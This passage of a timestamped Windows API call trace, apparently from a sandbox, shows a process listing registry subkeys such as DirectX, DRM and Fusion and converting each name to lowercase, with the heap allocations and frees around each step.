[0253.728] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0xffb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xffc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.728] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.728] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0xffb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0253.728] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xffc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.729] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0xffb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.729] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0xffb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xffc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.729] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0xffb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xffc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.729] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.729] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0xffb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0253.729] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xffc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.730] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0xffb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.730] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0xffb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xffc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.730] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0xffb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.730] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.730] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0xffb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0253.730] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.731] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0xffb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.731] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0xffb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xffc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.731] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0xffb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0253.731] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.731] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.731] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0xffb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.732] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0xffb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.732] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0xffb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.732] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0xffb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0253.732] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.732] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.732] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0xffb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.733] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0xffb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xffc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.733] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0xffb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xffc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.733] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0xffb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xffc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0253.733] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.733] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 